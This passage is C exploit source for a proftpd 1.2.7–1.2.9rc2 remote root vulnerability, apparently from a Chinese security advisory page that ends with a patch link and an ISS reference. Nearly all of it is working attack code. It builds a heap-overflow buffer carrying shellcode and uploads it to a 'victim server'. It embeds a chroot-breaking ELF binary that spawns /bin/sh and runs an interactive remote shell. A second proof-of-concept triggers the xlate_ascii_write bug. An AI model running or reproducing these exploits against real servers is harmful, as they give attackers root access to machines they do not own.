    // the data and local server sockets, then read the confirmation
    // message from the control socket
    my_recv(dataSock);
    close(dataSock);
    close(localServerSock);
    my_recv(controlSock);
    return check_status();
}

int timeout_accept(int s, struct sockaddr *sa, int *f)
{
    fd_set fdset;
    struct timeval timeout = { ACCEPT_TIMEOUT, 0 }; // seconds
    int result;

    if(s<=0)
        return FAILURE;
    FD_ZERO(&fdset);
    FD_SET(s, &fdset);
    
    if((result=select(s+1, &fdset, 0, 0, &timeout))==0)
        return FAILURE;
    return accept(s,sa,f);
}

int set_passive_mode(int mode)
{
    int portMSB, portLSB;
    int x1,x2,x3,x4;
    char *ptr=localIP, *start;

    status_bar("Setting passive");
    if(mode==DOWNLOAD) {
        if((++currentPassivePort) > 35000)
            currentPassivePort=32789;
    
        while(*(++ptr))
            if(*ptr=='.')
                *ptr=',';
        portMSB=(currentPassivePort >> 8 ) & 0xff;
        portLSB=currentPassivePort & 0xff;
        my_send(controlSock, "PORT %s,%d,%d\r\n", localIP, portMSB, portLSB);
        my_recv(controlSock);
        return check_status();
    } else {    
        my_send(controlSock, "PASV\r\n");
        my_recv(controlSock);
        if(check_status()==FAILURE)
            return FAILURE;
        ptr=serverBuf;
        while(*ptr && *ptr!='(')
            ptr++;
        if(*ptr=='\0')
            return FAILURE;
        start=ptr+1;
        while(*ptr && *ptr!=')')
            ptr++;
        *ptr=0;
        sscanf(start, "%d,%d,%d,%d,%d,%d",&x1, &x2, &x3, &x4, &portMSB, &portLSB);
        currentServerPort=(portMSB << 8) | portLSB;
    }
    return SUCCESS;
}

int connect_to_server(int port)
{
    struct sockaddr_in serverAddr;
    struct hostent *host;
    int sock, tmp=1;

    status_bar("Connecting");
    if((host=gethostbyname(server))==NULL)
        return FAILURE;

    if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
        return FAILURE;
    bzero(&serverAddr,sizeof(struct sockaddr));
    serverAddr.sin_family=AF_INET;
    serverAddr.sin_port=htons(port);
    serverAddr.sin_addr=*((struct in_addr *)host->h_addr);
    setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&tmp, sizeof(tmp));
    if(connect(sock,(struct sockaddr *)&serverAddr,sizeof(struct sockaddr))<0) {
        close(sock);
        return FAILURE;
    }
    return sock;
}

int check_status()
{
    if(isdigit(serverBuf[0]) && serverBuf[0]!='5')
        return SUCCESS;
    else
        return FAILURE;
}

int login_to_server()
{
    status_bar("Logging in");
    my_recv(controlSock);
    my_send(controlSock, "USER %s\r\n", user);
    my_recv(controlSock);
    if(check_status()==FAILURE)
        return FAILURE;

    my_send(controlSock, "PASS %s\r\n", pass);    
    my_recv(controlSock);
    return check_status();
}

int set_ascii_mode()
{
    status_bar("Setting ASCII mode");
    my_send(controlSock, "TYPE A\r\n");
    my_recv(controlSock);
    return check_status();
}


int upload_file()
{
    int dataSock;

    status_bar("Uploading file");

    // open up the data channel
    if((dataSock=connect_to_server(currentServerPort))==FAILURE)
        return FAILURE;

    // tell server we're gonna send some shiznitz
    my_send(controlSock, "STOR %s\r\n", filename);
    my_recv(controlSock);
    if(check_status()==FAILURE) {
        close(dataSock);
        return FAILURE;
    }

    // send the exploit file to the victim server
    send(dataSock, exploitBuf, exploitBufLen, 0);
    close(dataSock);

    // make sure all went well
    my_recv(controlSock);
    if(check_status()==FAILURE)
        return FAILURE;
    return SUCCESS;
}

int create_exploit_buffer()
{
    int i;
    char buf[41];
    unsigned int writeaddr=stackWriteAddr;
    unsigned int *ptr=(unsigned int *)(exploitBuf+3);
    unsigned int dummy=0x11111111;
    FILE *fp;

    status_bar("Make exploit buf");
    exploitBufLen=1024;
    memset(exploitBuf,0,EXPLOIT_BUF_SIZE);
    memset(exploitBuf,0x90,512);
    *(ptr++)=writeaddr+28;
    for(i=0;i<6;i++)
        *(ptr++)=retAddr;
    *(ptr++)=0;
    for(i=0;i<2;i++)
        *(ptr++)=retAddr;

    memcpy(exploitBuf+512-strlen(shellcode)-1,shellcode,strlen(shellcode));
    memset(exploitBuf+512,'\n',512);

    for(i=0;i<96;i++) {
        memset(buf,0,41);
        if(dummy==0x1111112e)
            // this sets session.d->outstrm to NULL which forces an early return
            // avoids crashing proftpd... on SuSE 8.0 anywayz...
            memcpy(buf,"\n\n\n\n\n\n\n\n\x00\x00\x00\x00\n\n\n\n\n\n\n\n",20);
        else if(dummy==0x11111166)
            // this is the same thing tailored for RH7.2
            memcpy(buf,"\n\n\n\n\n\n\n\n\x72\x00\x00\x00\x00\n\n\n\n\n\n\n",20);
        else
            memset(buf,'\n',20);

        // i used these dummy values to find the correct spot for
        // the session.d->outstrm pointer
        *(unsigned int *)(buf+20)=dummy;
        *(unsigned int *)(buf+24)=dummy;
        *(unsigned int *)(buf+28)=dummy;

        // this will become the address of an available chunk of memory
        // that is returned by new_block() in pool.c
        *(unsigned int *)(buf+32)=writeaddr;

        // this is what will be returned by palloc() in pool.c
        // palloc() is the function that calls new_block() and
        // provides the allocation interface for the pools system.
        *(unsigned int *)(buf+36)=writeaddr;

        memcpy(exploitBuf+exploitBufLen,buf,40);
        exploitBufLen+=40;
        dummy++;
    }
    return SUCCESS;
}


int create_passive_server()
{
    struct sockaddr_in serverAddr;
    int on=1,sock;

    status_bar("Creating server");
    sock=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    memset(&serverAddr,0,sizeof(struct sockaddr_in));
    serverAddr.sin_port=htons(currentPassivePort);
    serverAddr.sin_family=AF_INET;
    serverAddr.sin_addr.s_addr=htonl(INADDR_ANY);
    setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
    if(bind(sock,(struct sockaddr *)&serverAddr,sizeof(struct sockaddr))<0) {
        close(sock);
        return FAILURE;
    }
    if(listen(sock,5)<0) {
        close(sock);
        return FAILURE;
    }
    return sock;
}

void usage(char *exploitName)
{
    printf("proftpd 1.2.7 - 1.2.9rc2 remote root exploit\n");
    printf(" based on code by bkbll (bkbll@cnhonker.net)\n");
    printf(" by Haggis (haggis@haggis.kicks-ass.net)\n");
    printf("--------------------------------------------------------------\n");
    printf("Usage: %s -t host -l ip [options]\n",exploitName);
    printf("Arguments:\n");
    printf("      -t <host>     host to attack\n");
    printf("      -u <username> [anonymous]\n");
    printf("      -p <password> [ftp@microsoft.com]\n");
    printf("      -l <local ip address> interface to bind to\n");
    printf("      -s sleep for 10secs to allow GDB attach\n");
    printf("      -U <path>     specify upload path, eg. /incoming\n");
    printf("      -P <port>     port number of remote proftpd server\n");
    printf("      -S <address>  start at <address> when bruteforcing\n");
exit(0);
}


int do_remote_shell(int shellSock)
{
    fd_set rfds;
    char buf[1024];
    int retval, r=1;

        do {
                FD_ZERO(&rfds);
                FD_SET(0, &rfds);
                FD_SET(shellSock, &rfds);
                retval=select(shellSock+1, &rfds, NULL, NULL, NULL);
                if(retval) {
                        if(FD_ISSET(shellSock, &rfds)) {
                                buf[(r=recv(shellSock, buf, sizeof(buf)-1,0))]='\0'; // lol
                                printf("%s", buf);fflush(stdout);
                        }
                        if(FD_ISSET(0, &rfds)) {
                                buf[(r=read(0, buf, sizeof(buf)-1))]='\0'; // lmfao
                                send(shellSock, buf, strlen(buf), 0);
                        }
                }
        } while(retval && r); // loop until connection terminates
    return SUCCESS;
}


int check_for_linefeed()
{
    char *ptr=(char *)&stackWriteAddr;
    int i=4;

    for(;i;i--)
        if(*(ptr++)=='\n')
            return FAILURE;
    return SUCCESS;
}

// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...) {
    va_list ap;
    char *buf;

    my_sleep(SLEEP_DELAY);
    va_start(ap,b);
    vasprintf(&buf,b,ap);
    send(s,buf,strlen(buf),0);
    va_end(ap);
    free(buf);
}

// Another handy function to read data from a socket.
void my_recv(int s) {
    int len;

    my_sleep(SLEEP_DELAY);
    memset(serverBuf, 0, SIZE);
    len=recv(s, serverBuf, SIZE-1, 0);
    serverBuf[len]=0;
}

void doris_chroot_breaker() {
    char haggis_magic_buffer[]=
    "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x02\x00\x03\x00\x01\x00\x00\x00\x80\x80\x04\x08\x34\x00\x00\x00"
    "\xa0\x01\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x02\x00\x28\x00"
    "\x09\x00\x08\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08"
    "\x00\x80\x04\x08\x20\x01\x00\x00\x20\x01\x00\x00\x05\x00\x00\x00"
    "\x00\x10\x00\x00\x01\x00\x00\x00\x20\x01\x00\x00\x20\x91\x04\x08"
    "\x20\x91\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00"
    "\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x55\x89\xe5\x83\xec\x6c\x57\x56\x53\x8d\x45\xa0\x8d\x7d\xa0\xbe"
    "\xc0\x80\x04\x08\xfc\xb9\x17\x00\x00\x00\xf3\xa5\x66\xa5\xa4\x8d"
    "\x45\xa0\x89\x45\x9c\x8b\x5d\x9c\xff\xd3\x8d\x65\x88\x5b\x5e\x5f"
    "\x89\xec\x5d\xc3\x8d\xb6\x00\x00\x00\x00\x8d\xbf\x00\x00\x00\x00"
    "\x31\xc0\x31\xdb\x40\x50\x89\xe1\x66\xbb\x73\x68\x53\x89\xe3\xb0"
    "\x27\xcd\x80\x31\xc0\x89\xe3\xb0\x3d\xcd\x80\x31\xc9\xb1\x0a\x31"
    "\xc0\x31\xdb\x66\xbb\x2e\x2e\x53\x89\xe3\xb0\x0c\xcd\x80\x49\x85"
    "\xc9\x75\xec\x31\xc0\x31\xdb\xb3\x2e\x53\x89\xe3\xb0\x3d\xcd\x80"
    "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
    "\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x00\x00"
    "\x00\x47\x43\x43\x3a\x20\x28\x47\x4e\x55\x29\x20\x32\x2e\x39\x35"
    "\x2e\x33\x20\x32\x30\x30\x31\x30\x33\x31\x35\x20\x28\x53\x75\x53"
    "\x45\x29\x00\x08\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x30"
    "\x31\x2e\x30\x31\x00\x00\x00\x00\x2e\x73\x79\x6d\x74\x61\x62\x00"
    "\x2e\x73\x74\x72\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61"
    "\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00"
    "\x2e\x64\x61\x74\x61\x00\x2e\x73\x62\x73\x73\x00\x2e\x62\x73\x73"
    "\x00\x2e\x63\x6f\x6d\x6d\x65\x6e\x74\x00\x2e\x6e\x6f\x74\x65\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x01\x00\x00\x00"
    "\x06\x00\x00\x00\x80\x80\x04\x08\x80\x00\x00\x00\x40\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00"
    "\x21\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\xc0\x80\x04\x08"
    "\xc0\x00\x00\x00\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x20\x00\x00\x00\x00\x00\x00\x00\x29\x00\x00\x00\x01\x00\x00\x00"
    "\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
    "\x2f\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x20\x91\x04\x08"
    "\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x01\x00\x00\x00\x00\x00\x00\x00\x35\x00\x00\x00\x08\x00\x00\x00"
    "\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
    "\x3a\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x20\x01\x00\x00\x23\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x01\x00\x00\x00\x00\x00\x00\x00\x43\x00\x00\x00\x07\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x43\x01\x00\x00\x14\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
    "\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x57\x01\x00\x00\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x01\x00\x00\x00\x00\x00\x00\x00";

    strcpy(filename, "aa");
    memset(exploitBuf,0,777);
    memcpy(exploitBuf, haggis_magic_buffer, 776);
    exploitBufLen=776;
    if((controlSock=connect_to_server(ftpPort))==FAILURE) {
        printf("\nCould not connect to target server\n");
        exit(1);
    }
    login_to_server();
    my_send(controlSock, "MKD incoming\r\n");
    my_recv(controlSock);
    my_send(controlSock, "SITE CHMOD 777 incoming\r\n");
    my_recv(controlSock);
    my_send(controlSock, "CWD incoming\r\n");
    my_recv(controlSock);
    set_passive_mode(UPLOAD);
    upload_file();
    my_send(controlSock, "SITE CHMOD 777 aa\r\n");
    close(controlSock);
}

// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
void my_sleep(int n) {
    struct timespec t;

    t.tv_sec=0;
    t.tv_nsec=n;
    nanosleep(&t,&t);
}

/*
*  -- ProFTPd [1.2.7-1.2.8] proof-of-concept --
*  
*  This code is quite ugly, don't have time cleaning it;
*  
*  description: iss gave a lil hint to me, so i found the vuln
*  in src/data.c file, xlate_ascii_write()  function
*  when the iss advisory came out.
*  
*  -netris at ok.kz
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int s1,s2;
struct sockaddr_in a1,a2;
char *senddata(int sock,char *data, int resp);
void data_connect(char *addr,char *pasv, int bool);
int data_port(char *pret, char *addr);

int main(int argc, char *argv[])
{
    char *ret;
    char buf[100];
    
    if(argc!=4){
        fprintf(stderr,"usage: %s login pass ip_addr\n",argv[0]);
        exit(0);
    }
    
    a1.sin_family = AF_INET;
    a1.sin_port = htons(21);
    a1.sin_addr.s_addr = inet_addr(argv[3]);
    
    s1 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    connect(s1,(struct sockaddr*)&a1,sizeof(a1));
    
    senddata(s1,0,1);
    sprintf(buf,"USER %s\n",argv[1]);
    senddata(s1,buf,2);
    sprintf(buf,"PASS %s\n",argv[2]);
    senddata(s1,buf,2);
    senddata(s1,"TYPE A\n",2);
    
    ret = senddata(s1,"PASV\n",2); /*STOR*/
    data_connect(argv[3],ret,0);
    ret = senddata(s1,"PASV\n",2); /*RETR*/
    data_connect(argv[3],ret,1);
    ret = senddata(s1,"PASV\n",2); /*RETR (needed sometimes)*/
    data_connect(argv[3],ret,1);

    close(s1);
    close(s2);
    return 0;
}

char *senddata(int sock,char *data, int resp)
{
    char buf[66000];
    int i;
    if(resp>=2){
        send(sock,data,strlen(data),0);
        if(strlen(data)<512)
            printf("%s\n",data);
    }
    if(resp<=2){
          i=recv(sock,buf,sizeof(buf),0);
        buf[i]=0;
        if(strlen(buf)<512)
            printf("%s",buf);
    }
    return buf;
}

int data_port(char *pasv, char *addr)
{
    int i=0,j,p1,p2,h1=1;
    p1=p2=0;
    for(j=0;j<4;j++)
        for(i+=1;pasv[i]!=',';i++);
    for(i+=1;pasv[i]!=',';i++)
        p1=p1*10+pasv[i]-'0';
    for(i+=1;pasv[i]!=')';i++)
        p2=p2*10+pasv[i]-'0';
    h1 += inet_addr(addr) & 0x000000ff;
    j = p1*h1*2+p2;
    printf("Data port: %d\n",j);
    return j;
}

void data_connect(char *addr, char *pasv, int bool)
{
    int port,i;    
    static char buf[65559];
    close(s2);
    port = data_port(pasv,addr);
    a2.sin_port = htons(port);
    a2.sin_family = AF_INET;
    a2.sin_addr.s_addr = inet_addr(addr);
    s2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    connect(s2,(struct sockaddr*)&a2,sizeof(a2));
    if(!bool){
        senddata(s1,"STOR kf\n",2);
        for(i=0;i<65558;i++)buf[i]=0x0a;
        buf[i]=0;
        senddata(s2,buf,3);
        close(s2);
    }
    else{
        senddata(s1,"RETR kf\n",2);
        senddata(s2,"\n",2);
    }
    senddata(s1,"\n",2);
}

解决方案
厂商已经发布了修补后过的版本:

ftp://ftp.proftpd.org/distrib/source/proftpd-1.2.8p.tar.gz

相关信息
ProFTPD ASCII File Remote Compromise Vulnerability
http://xforce.iss.net/xforce/alerts/id/154